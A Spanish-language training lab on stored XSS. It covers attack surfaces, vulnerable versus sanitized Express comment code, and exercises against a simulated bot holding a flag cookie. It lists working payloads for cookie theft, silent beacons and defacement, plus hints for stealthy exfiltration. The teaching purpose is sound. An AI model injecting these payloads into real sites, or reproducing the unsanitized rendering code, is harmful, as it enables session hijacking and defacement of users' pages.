¿Por qué es el más peligroso?

En el XSS reflejado el atacante necesita que la víctima haga clic en un enlace malicioso. En el XSS persistente (también llamado stored XSS), el payload se guarda en el servidor y se ejecuta automáticamente cada vez que cualquier usuario carga la página.

No hace falta engañar a nadie para que visite una URL especial. Basta con que la víctima navegue normalmente a una sección del sitio que ya está infectada.

Superficies de ataque frecuentes

Secciones de comentarios

La más clásica. Cualquiera puede publicar, el contenido se almacena y se muestra a todos los visitantes sin escapar.

👤 Perfiles de usuario

El campo "bio" o "nombre" se muestra en páginas públicas o paneles de administración. Un admin con sesión privilegiada visita el perfil.

📦 Nombres de productos / tickets

Sistemas de soporte donde el asunto de un ticket se renderiza en el panel de agentes sin sanitizar.

Campos de formularios

Cualquier dato que se almacene y luego se muestre: descripciones, notas, mensajes privados, etiquetas, etc.

Código vulnerable vs. seguro

Backend — ❌ VULNERABLE
// POST: almacena sin sanitizar
app.post('/comments', async (req, res) => {
  const { author, content } = req.body;

  // ❌ Se guarda el HTML en bruto
  await db.run(
    'INSERT INTO comments VALUES (?,?)',
    [author, content]  // sin escapar
  );
  res.redirect('/comments');
});

// GET: renderiza sin escapar
app.get('/comments', async (req, res) => {
  const rows = await db.all('SELECT * FROM comments');

  // ❌ Cada content se inserta como HTML
  const html = rows.map(r =>
    `<p><b>${r.author}</b>: ${r.content}</p>`
  ).join('');

  res.send(`<body>${html}</body>`);
});
Backend — ✅ SEGURO
import DOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const window = new JSDOM('').window;
const purify = DOMPurify(window);

// POST: sanitizar antes de guardar
app.post('/comments', async (req, res) => {
  const author  = escapeHtml(req.body.author);

  // ✅ Opción A: escapar completamente
  const content = escapeHtml(req.body.content);

  // ✅ Opción B: permitir HTML pero sanitizar
  // const content = purify.sanitize(req.body.content);

  await db.run(
    'INSERT INTO comments VALUES (?,?)',
    [author, content]
  );
  res.redirect('/comments');
});

El escenario del bot — Session Hijacking

⚔️
Atacante
publica payload
💾
BD
almacena
🤖
Bot/Admin
visita página

Payload
se ejecuta
🍪
Atacante
recibe cookie
Por qué los administradores son el objetivo ideal
Si el atacante logra que un administrador cargue la página infectada, consigue su cookie de sesión con privilegios elevados. Esto permite acceder al panel de admin, crear cuentas, extraer datos de usuarios, etc. El stored XSS en una sección visible por admins es una vulnerabilidad crítica.
⚠️ Blog con sección de comentarios vulnerable
El endpoint /api/comments almacena los comentarios en Cloudflare KV y los renderiza sin sanitizar. El bot víctima tiene la cookie bot_session=FLAG{...} sin HttpOnly. Cuando el bot "visita" la página, tu payload se ejecuta en su contexto.
Blog Vulnerable — Sección de Comentarios
Ver página vulnerable
Bot Víctima

El bot tiene la cookie bot_session=FLAG{...} (sin HttpOnly). Cuando visita la página de comentarios, los scripts almacenados se ejecutan en su contexto.

🟡 En espera
El bot no ha visitado la página todavía...
Payloads para XSS Persistente

Carga el payload en el campo de comentario:

1. Prueba básica
<img src=x onerror="alert('XSS en comentario!')">
2. Robar cookie del visitante
<script>fetch('/api/collect?c='+encodeURIComponent(document.cookie))</script>
3. Beacon silencioso (imagen 1px)
<img src="/api/collect?c=BEACON_TEST" style="display:none" width="1" height="1">
4. Robar cookie del bot (objetivo real)
<script>new Image().src='/api/collect?c='+encodeURIComponent(document.cookie)</script>
5. Defacement persistente
<style>body{background:#0a0f1e!important}h1{color:#f43f5e!important}</style><div style="position:fixed;top:1rem;right:1rem;background:#f43f5e;color:#fff;padding:.5rem 1rem;border-radius:4px;font-weight:700;z-index:9999">💀 INFECTADO</div>
Datos Capturados en /api/collect
No hay capturas todavía...
Comentarios almacenados (vista previa segura)

Aquí ves los comentarios en texto plano. Para ver la versión vulnerable donde el XSS se ejecuta, abre /api/comments.

Cargando comentarios...
Estrategia para este lab
  1. Publica un payload en los comentarios
  2. Verifica que el payload está almacenado (vista previa)
  3. Envía el bot para que "visite" la página infectada
  4. Comprueba que los datos del bot fueron capturados
1 Defacement persistente
Básico

Publica un comentario con un payload que modifique visualmente la página de comentarios (/api/comments) de forma permanente para cualquier visitante. El desfiguramiento debe ser visible cada vez que alguien cargue la página.

2 Roba la cookie del bot
Avanzado

Publica un payload que exfiltre cookies a /api/collect. Luego envía el bot para que visite la página infectada. El bot tiene la cookie bot_session=FLAG{...}. Valida que fue capturada.

Pista

Usa el payload nº4. Publícalo como comentario. Ve al panel de laboratorio y pulsa "Enviar bot a la página". El bot simulará ejecutar tu payload con sus cookies. Luego vuelve aquí y valida.

3 Payload sigiloso — sin alertas ni efectos visuales
Experto

Crea un payload que robe la cookie del bot de forma completamente silenciosa: sin alertas, sin cambios visuales, sin que la página parezca diferente. En un ataque real, el atacante quiere pasar desapercibido.

Pista

Una imagen 1×1 invisible, navigator.sendBeacon(), o un <link rel="prefetch"> dinámico son técnicas silenciosas. El objetivo es que ni el usuario ni el bot "noten" nada.